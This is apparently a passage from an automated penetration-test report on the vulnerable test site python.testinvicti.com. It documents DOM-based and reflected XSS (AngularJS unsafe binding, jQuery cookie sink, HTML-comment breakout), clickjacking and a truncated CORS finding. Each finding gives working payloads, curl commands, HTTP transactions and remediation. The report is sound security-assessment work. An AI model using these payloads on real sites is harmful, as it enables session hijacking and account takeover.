RESPONSE

```
DOM after AngularJS rendering:
<span ng-bind-html-unsafe="pageStr" style="font-weight: bold;" class="ng-binding">
  <img src="x" onerror="alert(1)">
</span>

The img tag is rendered as a live DOM element with the onerror event handler active.
```

STEPS TO REPRODUCE

1. Fetch the vulnerable AngularJS template and confirm the unsafe directive exists:

```
curl -s --compressed http://python.testinvicti.com/static/app/partials/itemsList.html | grep 'ng-bind-html-unsafe'
```

The response contains ng-bind-html-unsafe="pageStr", confirming user-controlled data is rendered as raw HTML.

2. Open a browser and navigate to the following URL:

```
http://python.testinvicti.com/#/popular/page/<img src=x onerror=alert(1)>
```

After AngularJS renders the route, inspect the DOM. The element contains the injected <img> tag with the onerror handler active, executing JavaScript in the user's browser context.

3. Verify that other templates do not use the unsafe directive (confirming the issue is isolated to itemsList.html):

```
curl -s --compressed http://python.testinvicti.com/static/app/partials/about.html | grep 'ng-bind-html-unsafe'
```

No match is returned, confirming the vulnerability is specific to the pagination template.

SEVERITY JUSTIFICATION

Medium severity: the XSS requires user interaction (clicking a crafted link) and executes in the user's browser context affecting the subsequent system (session hijacking, phishing). No direct impact on the vulnerable server's CIA. CVSS reflects network-accessible, low-complexity attack with passive user interaction required.

DISCOVERY & EXPLOITATION

The assessment identified that `itemsList.html` renders the `page` URL hash route parameter directly into the DOM using AngularJS's `ng-bind-html-unsafe="pageStr"` directive. Unlike server-side reflected XSS, the injection occurs entirely client-side: AngularJS reads the hash fragment, assigns it to `$scope.pageStr` without any sanitization, and the `ng-bind-html-unsafe` directive instructs the framework to render the value as raw HTML, bypassing all encoding. AngularJS 1.0.6 has no Strict Contextual Escaping (SCE) layer, so no framework-level protection intercepts the unsanitized value before it reaches the DOM. Validation confirmed the directive's presence in the served template and the absence of any equivalent unsafe binding in other templates, isolating this as a discrete injection point.

An unauthenticated attacker delivers a crafted URL containing a malicious HTML payload in the hash fragment. Because the hash is processed entirely by the client, the payload never transits the server and is invisible to server-side WAFs or logging infrastructure. This distinguishes the attack surface from the sibling reflected XSS vulnerabilities on `/contact` and `/login`: those require server round-trips and are detectable in access logs, whereas this vector leaves no server-side trace.

IMPACT ANALYSIS

The client-side execution context of this vulnerability carries a specific operational risk that differs from the server-rendered siblings: because the malicious payload is embedded in a URL hash fragment, it is not transmitted to the server and produces no server-side log entry, making post-

incident detection and forensic attribution significantly harder. An attacker who harvests session tokens or credentials through this vector may do so without any observable server-side anomaly. The application's use of unprotected cookies (a separate confirmed vulnerability) compounds this exposure: a successful payload can exfiltrate the session cookie over the existing unencrypted HTTP channel, combining 2 confirmed vulnerabilities into a complete session takeover chain with no cryptographic or transport barrier. Users who interact with any crafted link, including those distributed through phishing campaigns or embedded in third-party content, are exposed without any action beyond clicking. The absence of a Content-Security-Policy header means the browser imposes no restriction on inline script execution, leaving no compensating control in place.

REMEDIATION

1. Replace `ng-bind-html-unsafe="pageStr"` in `itemsList.html` with `ng-bind-html="pageStr"` combined with AngularJS `$sanitize` service to strip dangerous HTML before rendering.
2. Upgrade AngularJS from 1.0.6 to a modern version (1.6+) where `ng-bind-html-unsafe` is removed entirely and `$sce` (Strict Contextual Escaping) is enabled by default.
3. Sanitize the `page` route parameter in the controller before assigning it to `$scope.pageStr` — for pagination values, validate that it is a positive integer and reject any non-numeric input.
4. Implement a Content-Security-Policy header that disallows inline event handlers (`script-src 'self'`) to mitigate exploitation even if the DOM injection persists.
5. Long-term, adopt a modern framework (Angular 2+, React, Vue) with built-in contextual auto-escaping and integrate automated DOM XSS scanning in CI.

INV-28

DOM-Based XSS via `username` Cookie Value in jQuery `.html()` Sink

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
username (cookie)	2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

```
<img src=x onerror=window.__xss2='FIRED'>
```

Observed:

The post.js script reads the 'username' cookie value and inserts it into the DOM via jQuery .html() without sanitization: $("#refId").html(cookieUsername + " is coming from ..."). Since the /login endpoint sets the cookie to any provided username value without validation, an attacker can set cookie username=<img src=x onerror=alert(1)> which executes JavaScript when the page loads. Browser confirmed: window.__xss2 became 'FIRED'.

HTTP TRANSACTION

REQUEST

```
POST /login HTTP/1.1
Host: python.testinvicti.com
Content-Type: application/x-www-form-urlencoded

username=<img src=x onerror=alert(1)>&password=anything

Then navigate to:
GET / HTTP/1.1
Host: python.testinvicti.com
Cookie: username="<img src=x onerror=alert(1)>"
```

RESPONSE

```
HTTP/1.1 302 FOUND
Server: nginx/1.14.0 (Ubuntu)
Set-Cookie: username="<img src=x onerror=alert(1)>"; Path=/
Location: http://python.testinvicti.com/

[On page load, DOM element #refId renders:]
<img src="x" onerror="window.__xss2='FIRED'"> is coming from <b>unknown</b> and has visited this page <b>1</b> times.
```

STEPS TO REPRODUCE

1. Send a POST request to /login with an XSS payload in the username field:

   ```
   curl -s -D - -o /dev/null -X POST http://python.testinvicti.com/login -d
   'username=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&password=test'
   ```

   The response includes Set-Cookie: username="<img src=x onerror=alert(1)>"; Path=/, confirming the server stores the unsanitized payload in the cookie.

2. Verify that post.js uses the unsafe .html() sink with the cookie value:

   ```
   curl -s http://python.testinvicti.com/static/app/post.js | grep 'html(cookieUsername'
   ```

   The output shows $("#refId").html(cookieUsername confirming the DOM injection vector.

3. Open a browser, navigate to http://python.testinvicti.com/ with the poisoned cookie set. The post.js script reads the username cookie via getCookie('username') and passes it to $("#refId").html(...), rendering the <img> tag and firing the onerror handler — executing arbitrary JavaScript in the user's browser context.

SEVERITY JUSTIFICATION

This is a DOM-based XSS requiring the victim to first authenticate (or have their cookie set via a login CSRF), adding attack prerequisites and user interaction. Impact is limited to client-side code execution within the victim's session, affecting confidentiality and integrity of the vulnerable system at a low level.

DISCOVERY & EXPLOITATION

The vulnerability originates from two compounding failures: the `/login` endpoint sets the `username` cookie directly from user-supplied input without encoding HTML special characters, and `post.js` subsequently reads that cookie value and passes it to a jQuery `.html()` call on the `#refId` element. Because `.html()` parses its argument as HTML markup rather than text, any HTML or JavaScript embedded in the cookie value is rendered and executed by the browser. Validation confirmed both conditions independently: the server returned `Set-Cookie: username="<img src=x onerror=alert(1)>"` without sanitization, and the source of `post.js` contained the literal call `$("#refId").html(cookieUsername`, confirming the unsafe sink. Browser execution was verified by the `window.__xss2` marker firing.

An attacker who can influence the `username` cookie — either by inducing a victim to authenticate with a crafted username, or by exploiting the absence of `HttpOnly` to overwrite the cookie via another XSS vector already present in this application — can inject arbitrary JavaScript that executes in the victim's browser session. Unlike the sibling reflected and DOM-based XSS vulnerabilities that operate through URL parameters, this vector persists across page loads for the duration of the cookie's lifetime, giving the attacker a durable execution context rather than a single-request trigger.

IMPACT ANALYSIS

The cookie-based injection context distinguishes this vulnerability from its URL-parameter siblings: a payload delivered through the `username` cookie executes on every page load that invokes `post.js`, not only when a crafted link is clicked. This persistence increases the window of opportunity for session token theft, credential harvesting via injected forms, or silent redirection to attacker-controlled infrastructure. Because the application transmits all cookies over unencrypted HTTP with no `Secure` or `HttpOnly` flags, an attacker with network position can intercept the cookie in transit and replay or modify it without any cryptographic barrier. The combination of a persistent, cookie-resident payload and the absence of transport security means a single successful injection can affect every subsequent authenticated session on the compromised client, amplifying the reach of what would otherwise be a contained client-side vulnerability.

REMEDIATION

1. Replace the unsafe `$("#refId").html(cookieUsername + ...)` call in `post.js` with `$("#refId").text(cookieUsername + ...)` to ensure the cookie value is treated as text, not HTML.
2. On the `/login` endpoint, sanitize or encode the `username` parameter before setting it as a cookie value — strip or encode HTML special characters (`<` , `>` , `"` , `'`).
3. Apply `HttpOnly` and proper encoding to the `username` cookie so client-side scripts cannot trivially read or inject through it.
4. Consider using AngularJS data-binding with `ng-bind` instead of raw jQuery DOM manipulation to leverage the framework's built-in output encoding.
5. Long-term, integrate a Content Security Policy (CSP) header that blocks inline event handlers and adopt a linting rule to flag `.html()` calls with untrusted input.

INV-29

Reflected XSS via HTML Comment Breakout in `id` Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-83

ENDPOINT
http://python.testinvicti.com/comment

PARAMETER	CVSS 4.0
id	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

```
4k8UWVYuVg--><script>alert(1)</script><!--
```

Observed:

The id parameter value is reflected inside an HTML comment without sanitization. Using the payload '--><script>alert(1)</script><!--' breaks out of the comment context. Response contains: 'Sorry, but commenting is currently disabled! <!-- 4k8UWVYuVg--><script>alert(1)</script><!-- -->'

HTTP TRANSACTION

REQUEST

```
GET /comment?id=696a3680438a7af53a0a54d3d26469bf--><ScRiPt%20>uHjL(9928)</ScRiPt><!-- HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]

            Sorry, but commenting is currently disabled! <!-- 696a3680438a7af53a0a54d3d26469bf--><ScRiPt
>uHjL(9928)</ScRiPt><!-- -->

[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the /comment endpoint with a comment-breakout payload in the id parameter:

```
curl -s "http://python.testinvicti.com/comment?id=696a3680438a7af53a0a54d3d26469bf--%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E%3C!--"
```

   The server returns a 200 OK response with Content-Type: text/html.

2. Inspect the response body for the reflected payload. The HTML contains:

```
Sorry, but commenting is currently disabled! <!-- 696a3680438a7af53a0a54d3d26469bf--><ScRiPt>alert(1)</ScRiPt><!-- -->
```

   The --> sequence closes the HTML comment, causing the <script> tag to render in an executable context.

3. Open the crafted URL in a browser: http://python.testinvicti.com/comment?id=696a3680438a7af53a0a54d3d26469bf--%3E%3Cscript%3Ealert(1)%3C/script%3E%3C!-- and observe the JavaScript alert fires, confirming code execution.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring user interaction (clicking a crafted link) with no authentication needed. It enables arbitrary JavaScript execution in the victim's browser, impacting the subsequent system's confidentiality and integrity (session hijacking, credential theft). The medium severity aligns with the CVSS 5.3 score given the passive UI requirement and limited direct impact on the vulnerable system itself.

DISCOVERY & EXPLOITATION

The `/comment` endpoint reflects the `id` parameter value directly into an HTML comment in the server-rendered response without encoding. Because the application does not sanitize HTML comment delimiters, an attacker-supplied `-->` sequence terminates the comment context prematurely, and any HTML or script content that follows is parsed and executed by the browser as live markup. The absence of Jinja2 auto-escaping in the Flask template layer means the raw parameter value is embedded verbatim, with no transformation applied before rendering.

What distinguishes this injection context from sibling XSS vulnerabilities in this assessment is the comment-breakout mechanism: exploitation requires closing an HTML comment rather than escaping a quoted attribute or a JavaScript string. An unauthenticated attacker delivers a crafted URL to a target user; upon click, the victim's browser terminates the comment node and executes the injected script, enabling session token theft, credential harvesting via overlay forms, or redirection to attacker-controlled infrastructure.

IMPACT ANALYSIS

The business impact of this vulnerability is consistent with the reflected XSS vulnerabilities documented elsewhere in this assessment: successful exploitation allows an attacker to execute arbitrary JavaScript in an authenticated user's browser session, enabling session hijacking, account

takeover, and exfiltration of any data accessible within that session. The `/comment` endpoint's specific exposure is notable because comment-related functionality typically handles user-generated or user-referenced content, meaning crafted links can be plausibly embedded in application workflows where users are more likely to follow them, increasing the realistic likelihood of exploitation. Combined with the application's lack of TLS, session tokens transmitted and stolen via this vector are also exposed to passive network interception, compounding the risk. The absence of a Content Security Policy across the application means there is no compensating control to block inline script execution if encoding is bypassed.

REMEDIATION

1. HTML-entity-encode the `id` parameter value before embedding it in the HTML comment at the `/comment` endpoint — at minimum encode `<`, `>`, `--`, and `&` to prevent comment breakout.
2. Validate the `id` parameter server-side against the expected format (hex string `[a-f0-9]{32}`) and reject requests containing HTML metacharacters with a 400 response.
3. Add a strict Content Security Policy header (`Content-Security-Policy: default-src 'self'; script-src 'self'`) to prevent inline script execution even if encoding is bypassed.
4. Enable Jinja2 auto-escaping (`autoescape=True`) globally in the Flask application to prevent future XSS across all templates.
5. Long-term, integrate automated XSS scanning (e.g., semgrep rules for unsafe HTML interpolation) into CI/CD to catch regressions.

INV-30

Reflected XSS via HTML Comment Breakout in `id` Parameter on /like Endpoint

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-83

ENDPOINT
http://python.testinvicti.com/like

PARAMETER	CVSS 4.0
id	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

```
4k8UWVYuVg--><script>alert(1)</script><!--
```

Observed:

The id parameter value is reflected inside an HTML comment without sanitization. Using the payload '--><script>alert(1)</script><!--' breaks out of the comment context and injects executable JavaScript. Response contains: '<!-- test123--><script>alert(1)</script><!-- -->' where the --> closes the comment and <script> tag executes in browser context.

HTTP TRANSACTION

REQUEST

```
GET /like?id=e2fcb75b30bd0791a1fd5bc13ca66343--><ScRiPt%20>0OR7(9843)</ScRiPt><!-- HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]
            Thank you very much for your feedback! <!-- e2fcb75b30bd0791a1fd5bc13ca66343--><ScRiPt
>0OR7(9843)</ScRiPt><!-- -->
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the /like endpoint with a comment-breakout XSS payload in the id parameter:

```
curl -s "http://python.testinvicti.com/like?id=e2fcb75b30bd0791a1fd5bc13ca66343--
%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E%3C!--"
```

The server returns a 200 OK response with Content-Type: text/html.

2. Inspect the response body for the reflected payload. Look for the string:

```
<!-- e2fcb75b30bd0791a1fd5bc13ca66343--><ScRiPt>alert(1)</ScRiPt><!-- -->
```

The --> sequence closes the HTML comment, and the <ScRiPt> tag is rendered as executable JavaScript outside the comment context.

3. Open the crafted URL in a browser:

```
http://python.testinvicti.com/like?id=e2fcb75b30bd0791a1fd5bc13ca66343--
%3E%3Cscript%3Ealert(1)%3C/script%3E%3C!--
```

An alert dialog with 1 confirms JavaScript execution in the victim's browser context.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring user interaction (clicking a crafted link) with no authentication needed. It enables arbitrary JavaScript execution in the victim's browser, potentially leading to session hijacking of authenticated users. The CVSS 4.0 score of 5.1 (Medium) reflects network-accessible, low-complexity exploitation with passive user interaction and impact limited to the subsequent system (victim's browser session).

DISCOVERY & EXPLOITATION

The XSS agent identified that the `/like` endpoint reflects the `id` parameter value directly inside an HTML comment block without encoding. The injection context is distinct from other XSS vulnerabilities in this assessment: the application embeds the raw parameter value between HTML comment delimiters (`<!-- ... -->`), and the absence of encoding on the `--` sequence allows an attacker to close the comment early using `-->` , then inject arbitrary HTML and script content into the rendered page. The confirmed payload `<ScRiPt>0OR7(9843)</ScRiPt>` appeared unencoded in the response body between the closed comment and a subsequent comment opening, demonstrating that the breakout sequence successfully escapes the comment context and delivers executable script to the browser.

An unauthenticated attacker crafts a URL targeting `/like?id=-->` followed by a malicious script payload and distributes it via phishing or a redirector. Unlike the form-field XSS variants elsewhere in this assessment, the comment-breakout vector may evade naive input filters that only inspect for bare `<script>` tags without accounting for the comment-termination prefix, slightly lowering the bar for filter bypass. The attacker would replace the arithmetic PoC with a credential-harvesting or session-hijacking payload targeting authenticated users who follow the link.

IMPACT ANALYSIS

The business impact mirrors that of the sibling reflected XSS vulnerabilities on this application: successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's authenticated session, enabling session token theft, account takeover, and malicious action on behalf of the victim. What distinguishes this instance is the injection context: the comment-breakout mechanism means the payload is embedded in a location that may not be flagged by browser developer tools or simple content-inspection defenses, making it marginally harder for end users or security tooling to detect a crafted link as suspicious. Because the `/like` endpoint is a social-interaction feature likely accessed by authenticated users, the population of exploitable sessions is not limited to anonymous visitors. Any authenticated user who follows a crafted link exposes their session to the attacker, with downstream consequences including unauthorized data modification and privilege escalation if the compromised account holds elevated permissions.

REMEDIATION

1. In the `/like` endpoint handler, apply HTML entity encoding to the `id` parameter value before embedding it in the response. At minimum, encode `<`, `>`, `--`, and `&` characters to prevent comment breakout and tag injection.
2. Validate the `id` parameter against an expected format (e.g., `/^[a-f0-9]{32}$/`) and reject requests containing characters outside that pattern with a 400 response.
3. Remove the practice of reflecting user input inside HTML comments entirely — there is no functional need to echo the `id` value in a comment block.
4. Add a `Content-Security-Policy` header (e.g., `script-src 'self'`) to mitigate the impact of any XSS that bypasses server-side controls.
5. Long-term, enable Jinja2 `autoescape=True` globally across all Flask templates to systematically prevent output-encoding omissions.

INV-31

Reflected XSS via HTML Comment Breakout in `id` Parameter on Report Endpoint

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-83

ENDPOINT
http://python.testinvicti.com/report

PARAMETER	CVSS 4.0
id	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

```
4k8UWVYuVg--><script>alert(1)</script><!--
```

Observed:

The id parameter value is reflected inside an HTML comment without sanitization. Response contains: 'Your report was submitted, thanks. <!-- 4k8UWVYuVg--><script>alert(1)</script><!-- -->'

HTTP TRANSACTION

REQUEST

```
GET /report?id=696a3680438a7af53a0a54d3d26469bf--><ScRiPt%20>OsU6(9666)</ScRiPt><!-- HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]

            Your report was submitted, thanks. <!-- 696a3680438a7af53a0a54d3d26469bf--><ScRiPt >OsU6(9666)
</ScRiPt><!-- -->

[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the /report endpoint with a crafted id parameter that breaks out of the HTML comment context:

```
curl -s "http://python.testinvicti.com/report?id=696a3680438a7af53a0a54d3d26469bf--%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E%3C!--"
```

   The payload --> closes the HTML comment, and <ScRiPt>alert(1)</ScRiPt> is injected as executable markup.

2. Inspect the response body for the reflected payload outside the comment context:

```
Your report was submitted, thanks. <!-- 696a3680438a7af53a0a54d3d26469bf--><ScRiPt>alert(1)</ScRiPt> <!-- -->
```

   The --> sequence terminates the comment, causing the <script> tag to render in the DOM and execute JavaScript in the victim's browser.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring user interaction (clicking a crafted link) with no privileges required and low attack complexity. Exploitation allows arbitrary JavaScript execution in the victim's browser, impacting confidentiality and integrity of the subsequent system (session hijacking, credential theft), but not the vulnerable server itself — consistent with a medium severity rating.

DISCOVERY & EXPLOITATION

The `id` parameter on the `/report` endpoint is reflected into the server-rendered HTML response inside an HTML comment block without encoding or sanitization. The injection context is distinct from other XSS vulnerabilities in this assessment: the application embeds the raw parameter value within a comment delimiter sequence, and the payload `-->` is sufficient to close the comment and return execution to the live DOM. A subsequent `<script>` tag injected in the same value is then rendered as active markup outside the comment boundary. The agent confirmed exploitation by observing the injected `<ScRiPt>` tag appear in the response body outside the comment context, with no encoding applied to any HTML metacharacter.

An unauthenticated attacker delivers a crafted URL containing the breakout payload to a target user. Because the injection escapes a comment rather than a quoted attribute or a script string, standard browser XSS heuristics are less likely to flag it, marginally lowering the bar for successful delivery compared to conventional reflected XSS vectors. The attacker substitutes the proof-of-concept tag with a payload that exfiltrates the victim's session cookie or captures credentials entered on the page, using the same single-request, user-interaction-dependent delivery model shared by the reflected XSS siblings in this report.

IMPACT ANALYSIS

The business impact of this vulnerability is consistent with the reflected XSS siblings documented elsewhere in this report: successful exploitation enables session hijacking, credential theft, and arbitrary action execution in the context of the authenticated victim's browser session. The distinguishing characteristic here is the injection context. Because the payload is concealed within

what appears to be an inert HTML comment in the page source, victims and security tooling inspecting raw markup may not immediately recognize the parameter as a live injection point, giving an attacker a marginally less conspicuous delivery vehicle. The `/report` endpoint name suggests it surfaces sensitive operational or user data, meaning the population of users likely to visit a crafted report link may include privileged roles such as administrators or analysts, increasing the value of a successful session capture at this endpoint relative to lower-privilege surfaces. As with all reflected XSS vulnerabilities in this application, the absence of TLS means the crafted URL and any exfiltrated data also transit the network in cleartext, compounding the exposure.

REMEDIATION

1. Sanitize the `id` parameter on the `/report` endpoint by stripping or encoding HTML comment delimiters (`--` , `<!--` , `-->`) and HTML metacharacters (`<` , `>` , `&` , `"` , `'`) before embedding the value in the response.
2. Validate the `id` parameter server-side against an expected format (e.g., hexadecimal MD5 hash `^[a-f0-9]{32}$`) and reject any request containing characters outside that pattern with a 400 response.
3. Deploy a Content Security Policy header (`Content-Security-Policy: default-src 'self'; script-src 'self'`) to prevent inline script execution even if encoding is bypassed.
4. Never place user-controlled input inside HTML comments; if debugging output is needed, use server-side logging instead of client-visible comments.
5. Long-term, enable Jinja2 `autoescape=True` globally in the Flask app and integrate automated XSS scanning (e.g., semgrep rules for unsafe template patterns) in CI/CD.

INV-32

Clickjacking Exposure via Missing Framing Protection Headers on Application Root

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-1021

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

Missing X-Frame-Options and CSP frame-ancestors

Observed:

The application does not set X-Frame-Options or Content-Security-Policy frame-ancestors directive. Response headers only include: Server: nginx/1.14.0 (Ubuntu), Content-Type, Access-Control-Allow-Origin: *, and Content-Encoding. This allows the page to be framed by any origin, enabling clickjacking attacks.

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Content-Encoding: gzip

(No X-Frame-Options or Content-Security-Policy headers present)
```

STEPS TO REPRODUCE

1. Send a HEAD/GET request to the application root and inspect response headers:

   ```
   curl -s -D - -o /dev/null http://python.testinvicti.com/
   ```

   Confirm that no X-Frame-Options header is present in the response.

2. Verify that other headers (e.g., Server: nginx/1.14.0 (Ubuntu)) are returned, proving the server is responding with headers but simply omits framing protections.

3. Create a simple HTML file on an attacker-controlled domain that embeds the target in an iframe:

```
<iframe src="http://python.testinvicti.com/" width="100%" height="600"></iframe>
```

Open it in a browser and observe the application renders fully inside the frame, confirming clickjacking is possible.

SEVERITY JUSTIFICATION

Clickjacking requires active user interaction (UI:A) and results in limited integrity impact (tricking users into unintended actions). No direct confidentiality or availability impact exists, placing this at low severity.

DISCOVERY & EXPLOITATION

The application root at `http://python.testinvicti.com/` returns HTTP responses that contain neither an `X-Frame-Options` header nor a `Content-Security-Policy` header with a `frame-ancestors` directive. Validation confirmed that the server does return headers on this response (evidenced by the presence of the `Server: nginx/1.14.0 (Ubuntu)` header), ruling out any transport-layer stripping. The absence of framing controls is therefore a deliberate omission in the nginx configuration rather than an infrastructure artifact.

Without these controls, any external origin can embed the application inside an `<iframe>`. An attacker would construct a malicious page that overlays transparent or opaque UI elements over the framed application, inducing authenticated users to perform unintended actions such as submitting forms, changing account settings, or triggering state-changing requests. Given that the application's authentication boundary is already weakened by other vulnerabilities identified in this assessment, clickjacking provides an additional vector for session abuse that requires no credential theft.

IMPACT ANALYSIS

The absence of framing protection exposes users to UI redress attacks in which an adversary manipulates authenticated sessions through deceptive overlays. In the context of this application, where session tokens are stored in unprotected cookies and transmitted over unencrypted HTTP, a clickjacking attack compounds existing session risks: an attacker who frames the application can trigger authenticated actions without needing to steal or forge credentials directly. The integrity impact is bounded by what authenticated users can perform within the application, but any privileged actions available post-login are within scope of exploitation. From a compliance perspective, the lack of basic browser security headers is inconsistent with PCI-DSS requirements for web-facing applications handling user accounts, and represents a failure of the security hardening baseline expected under general secure development standards.

REMEDIATION

1. Add the `X-Frame-Options: DENY` (or `SAMEORIGIN`) response header in the nginx configuration using `add_header X-Frame-Options "DENY" always;` within the server block serving

`http://python.testinvicti.com/` .

2. Additionally, set a `Content-Security-Policy` header with the `frame-ancestors 'none'` directive to provide modern browser coverage: `add_header Content-Security-Policy "frame-ancestors 'none'" always;` .
3. Verify the headers are returned on all responses (including error pages) by testing with `curl -s -D - http://python.testinvicti.com/` .
4. If the application legitimately needs to be framed by specific origins, use `frame-ancestors https://trusted.example.com` instead of `'none'` .
5. Long-term, enforce security headers via a centralized middleware or nginx include file and validate their presence in CI with a tool like `securityheaders.com` or `helmet` (for Node) / `flask-talisman` (for Flask).

INV-33

Clickjacking via Absent X-Frame-Options and CSP frame-ancestors on Root Page

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-1021

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
X-Frame-Options header	5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

The application response headers do not include X-Frame-Options or Content-Security-Policy frame-ancestors directive. Response headers: Server: nginx/1.14.0 (Ubuntu), Content-Type: text/html; charset=utf-8, Access-Control-Allow-Origin: *. No X-Frame-Options, no Content-Security-Policy. The page can be framed by any origin, enabling clickjacking attacks.

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Content-Encoding: gzip

(No X-Frame-Options header present)
(No Content-Security-Policy header present)
```

STEPS TO REPRODUCE

1. Fetch the root page headers with curl:

   ```
   curl -s -D - -o /dev/null http://python.testinvicti.com/
   ```

   Verify that the response does **not** contain an X-Frame-Options header.

2. Confirm the absence of Content-Security-Policy as well:

   ```
   curl -s -D - -o /dev/null http://python.testinvicti.com/
   ```

The response headers show Server, Content-Type, and Access-Control-Allow-Origin: * but no Content-Security-Policy header.

3. Create a simple HTML file on an attacker-controlled domain that embeds the target in an iframe:

```
<iframe src="http://python.testinvicti.com/" width="100%" height="600"></iframe>
```

Open this file in a browser and confirm the target page renders inside the iframe, demonstrating clickjacking is possible.

SEVERITY JUSTIFICATION

Clickjacking requires active user interaction (UI:A) and results in limited integrity impact (tricking users into unintended actions). No direct confidentiality or availability impact. The low severity reflects that exploitation requires social engineering and the impact is constrained to UI redress attacks.

DISCOVERY & EXPLOITATION

The assessment agent confirmed that the application root at `http://python.testinvicti.com/` returns no `X-Frame-Options` header and no `Content-Security-Policy` header containing a `frame-ancestors` directive. Both protective controls were independently verified absent from the HTTP response, meaning any origin can embed the page in an `<iframe>` without browser-level restriction.

This finding is distinct from its sibling (INV-32) only in the specific validation signal: both headers were confirmed missing through discrete header-existence checks against the root endpoint, with the curl response showing the complete header set — `Server`, `Content-Type`, `Access-Control-Allow-Origin`, and encoding headers — and neither framing control present. The exploitation path and weaponization model are identical to INV-32; an attacker constructs a malicious page that frames the application root and overlays transparent UI elements to redirect user clicks toward unintended actions such as account modification or credential submission.

IMPACT ANALYSIS

The business impact of this vulnerability mirrors that of INV-32: users visiting an attacker-controlled page can be silently manipulated into performing actions on the application without their knowledge. The root page represents the primary entry point for all users, making it the highest-traffic target for a UI redress attack. Because the application also lacks TLS and uses unprotected session cookies, a clickjacking attack against the root page can be combined with session interception to amplify the overall attack chain. The absence of a Content-Security-Policy header is additionally significant in this application's context: CSP would provide layered defense against the cross-site scripting vulnerabilities identified elsewhere in this assessment, and its absence here confirms that no CSP deployment exists at the application level, not merely on a secondary endpoint.

REMEDIATION

1. Add the `X-Frame-Options: DENY` (or `SAMEORIGIN`) response header in the nginx configuration for all locations serving HTML content: `add_header X-Frame-Options "DENY" always;`
2. Deploy a `Content-Security-Policy` header with a `frame-ancestors 'none'` directive to provide modern browser protection against framing: `add_header Content-Security-Policy "frame-ancestors`

`'none'" always;`

3. Ensure both headers are applied consistently across all routes (including error pages) by placing the directives in the `server` block rather than individual `location` blocks.
4. Validate the fix by requesting the page and confirming both headers are present in the response.
5. Add a CI/CD check (e.g., using `securityheaders.com` API or a custom script) to prevent regression of missing security headers in future deployments.

INV-34

Permissive Wildcard CORS Policy on Application Root

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-942

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
Access-Control-Allow-Origin	2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

